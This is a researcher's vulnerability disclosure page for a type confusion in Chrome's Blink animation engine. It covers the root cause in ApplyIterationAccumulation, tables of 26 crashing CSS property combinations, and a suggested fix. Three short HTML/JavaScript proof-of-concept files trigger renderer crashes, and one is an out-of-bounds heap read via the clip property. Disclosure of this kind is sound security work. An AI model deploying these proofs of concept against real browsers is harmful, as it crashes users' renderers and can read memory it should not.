Skip to content

Research / Vulnerability disclosure

Type confusion in Blink ApplyIterationAccumulation with iterationComposite: 'accumulate'

A renderer type confusion in Chrome's animation engine, reachable from three lines of JavaScript when an experimental feature is enabled. Twenty-six crashing property and value combinations were confirmed across five type-confusion classes, including an out-of-bounds heap read via the clip property.

Component
Blink > Animation
Bug class
Type confusion from a bad downcast: renderer crash, plus an out-of-bounds heap read in the clip variant
Severity
High
Feature flag
CSSAnimationIterationComposite
Attack surface
Any page, once the experimental flag is enabled
Reported via
Chrome Vulnerability Reward Program
Researcher
ochko
View on the Chromium issue tracker

Summary

InvalidatableInterpolation::ApplyIterationAccumulation() accumulates the value of previous animation iterations into the current one by calling Scale() and then ScaleAndAdd() on a cloned InterpolableValue. It does this without first checking that the two operands are the same concrete InterpolableValue subclass.

When a keyframe effect interpolates a property between two values that resolve to different concrete interpolable representations, for example calc(10px + 5%) on one side and the keyword auto on the other, the To<Derived>() downcast performed inside ScaleAndAdd fails its IsA<Derived>() invariant and the renderer aborts:

Crash output
FATAL:third_party/blink/renderer/platform/wtf/casting.h:127
Check failed: IsA<Derived>(from).
  blink_core!blink::InterpolableLength::ScaleAndAdd

The crash is reachable from three lines of untrusted JavaScript. Twenty-six crashing property and value combinations were confirmed, grouped into five distinct type-confusion classes. The clip variant is the most serious: it produces a size mismatch between two InterpolableList objects, which is only a DCHECK in dcheck_always_on builds but becomes an out-of-bounds heap read in release builds where the DCHECK is compiled out.

Prerequisites

The bug lives behind the CSSAnimationIterationComposite experimental feature. It is reachable when Chrome is launched with either:

The feature is flagged experimental today but is on the path to shipping to stable. When it ships, every Chrome user reaches this code path with no flag.

Environment confirmed

Chromium
Built from source, trunk (March 2026); also reproduced on dev and canary
OS
Windows 11 Pro 10.0.26200
Build args
is_debug=false dcheck_always_on=true is_component_build=true symbol_level=0
Flag
--enable-blink-features=CSSAnimationIterationComposite

Background: what iterationComposite accumulate does

A web animation with iterationComposite: 'accumulate' builds each iteration's output on top of the accumulated result of the iterations that preceded it, rather than starting each iteration from the base value. With iterationStart: 3, the engine is asked to fold three prior iterations' worth of the effect into the value it applies.

Concretely, for the current iteration n, Blink computes:

result = clone(current_interpolated_value)
result.Scale(n)                 // multiply the accumulated value by the iteration count
result.ScaleAndAdd(1.0, end)    // add one more copy of the endpoint value

Both Scale and ScaleAndAdd are virtual methods on InterpolableValue, and each concrete subclass (InterpolableLength, InterpolableNumber, InterpolableList, InterpolableGridTrackList) implements them by downcasting the other operand to its own type. The arithmetic is only meaningful when both operands are the same concrete type.

Root cause

In invalidatable_interpolation.cc, inside ApplyIterationAccumulation() (around lines 341 to 343):

invalidatable_interpolation.cc
InterpolableValue* result_value = cached_value_->MutableValue().Clone();
result_value->Scale(current_iteration_);
result_value->ScaleAndAdd(1.0, *scaled_end);

There is no guarantee that result_value and *scaled_end are the same concrete InterpolableValue subclass. The two values come from opposite keyframes, and Blink resolves each keyframe's value independently. Nothing on this path enforces that both endpoints produced the same interpolable representation before the accumulation arithmetic runs.

Inside, for example, InterpolableLength::ScaleAndAdd:

void InterpolableLength::ScaleAndAdd(double scale, const InterpolableValue& other) {
  // To<InterpolableLength>(other) -> IsA<InterpolableLength>(other) must hold
  const InterpolableLength& other_length = To<InterpolableLength>(other);
  ...
}

When other is not an InterpolableLength, because the opposite keyframe resolved to a keyword such as auto, none, normal, or baseline, which use a different interpolable type, the To<> downcast trips the IsA<> invariant in wtf/casting.h and the process aborts.

Why the existing guard is insufficient

A guard was already added (lines 332 to 337) as the fix for crbug.com/467366440. That guard only handles the length-versus-length interpolable-and-current-value-type incompatibility. It does not cover:

Each of these reaches ScaleAndAdd with mismatched concrete types.

Confirmed crashing variants

Twenty-six property and value combinations were confirmed, in five type-confusion classes.

Class 1: InterpolableLength::ScaleAndAdd check (17 properties)

PropertyFromTo
margin-topcalc(10px + 5%)auto
margin-leftcalc(10px + 5%)auto
margin-rightcalc(10px + 5%)auto
margin-bottomcalc(10px + 5%)auto
topcalc(10px + 5%)auto
leftcalc(10px + 5%)auto
rightcalc(10px + 5%)auto
bottomcalc(10px + 5%)auto
perspective500pxnone
column-width100pxauto
column-gapcalc(10px + 1%)normal
row-gapcalc(10px + 1%)normal
vertical-align10pxbaseline
contain-intrinsic-width100pxauto
text-underline-offset5pxauto
line-heightcalc(20px + 0.5em)normal
word-spacingcalc(5px + 0.2em)normal

Class 2: InterpolableNumber::Add check (5 properties)

PropertyFromTo
z-index5auto
column-count3auto
font-size-adjust0.5none
text-size-adjust120%auto
line-height1.5 (number)normal

Class 3: InterpolableNumber confusion, number versus length (1 property)

PropertyFromTo
tab-size4 (number)20px (length)

Class 4: InterpolableGridTrackList::Add check (2 properties)

PropertyFromTo
grid-template-columns100px 200pxnone
grid-template-rows50pxnone

Class 5: InterpolableList size mismatch, out-of-bounds read (1 property)

PropertyFromTo
cliprect(10px, 50px, 50px, 10px)auto

The clip variant (out-of-bounds read)

clip: rect(10px, 50px, 50px, 10px) resolves to an InterpolableList of size 4 (top, right, bottom, left). clip: auto resolves to a list of size 0.

InterpolableList::ScaleAndAdd iterates over its own elements and reaches into the other list at the same indices. With a size-0 other, indices 0 to 3 are past the end of the empty list's backing allocation:

This is an out-of-bounds heap read inside the renderer. In the worst case it reads adjacent heap contents belonging to other state in the same renderer process before either using or crashing on the garbage, which is why this variant is rated the most severe of the set.

Proof of concept

All reproductions assume Chrome launched with the experimental feature enabled:

chrome --enable-blink-features=CSSAnimationIterationComposite path/to/poc.html

margin: check crash (Class 1)

<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
  [{margin: 'calc(10px + 5%)'}, {margin: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

clip: out-of-bounds read in release builds (Class 5)

<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red;position:absolute"></div>
<script>
document.getElementById('t').animate(
  [{clip: 'rect(10px, 50px, 50px, 10px)'}, {clip: 'auto'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

aspect-ratio: check crash

<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
  [{aspectRatio: 'auto'}, {aspectRatio: '16/9'}],
  {duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>

Steps to reproduce

  1. Save a reproduction as an HTML file.
  2. Launch Chrome with --enable-blink-features=CSSAnimationIterationComposite.
  3. Open the file.
  4. The renderer process crashes immediately (dcheck_always_on), or performs the out-of-bounds read (release, clip variant).

Impact analysis

Suggested fix

Enforce concrete-type compatibility before the accumulation arithmetic. A minimal guard in ApplyIterationAccumulation() before the Scale and ScaleAndAdd calls:

// Skip iteration accumulation when the accumulated value and the endpoint
// resolve to incompatible interpolable representations (length vs keyword,
// number vs length, list size mismatch, grid track list, ...).
if (!result_value->IsMergeTo(*scaled_end)) {
  return;
}

A more conservative option is to assert or branch on the concrete type immediately before each ScaleAndAdd and Add call, so that every InterpolableValue subclass refuses to operate on an operand of a different type rather than relying on callers.

Either way, the existing crbug.com/467366440 guard should be widened from the length-versus-length case to cover all cross-type mismatches, since the same accumulation path reaches InterpolableNumber, InterpolableList, and InterpolableGridTrackList.

Reported to the Chrome Vulnerability Reward Program by ochko, IntelAsset Partners research team. The canonical record lives on the Chromium issue tracker.

All published research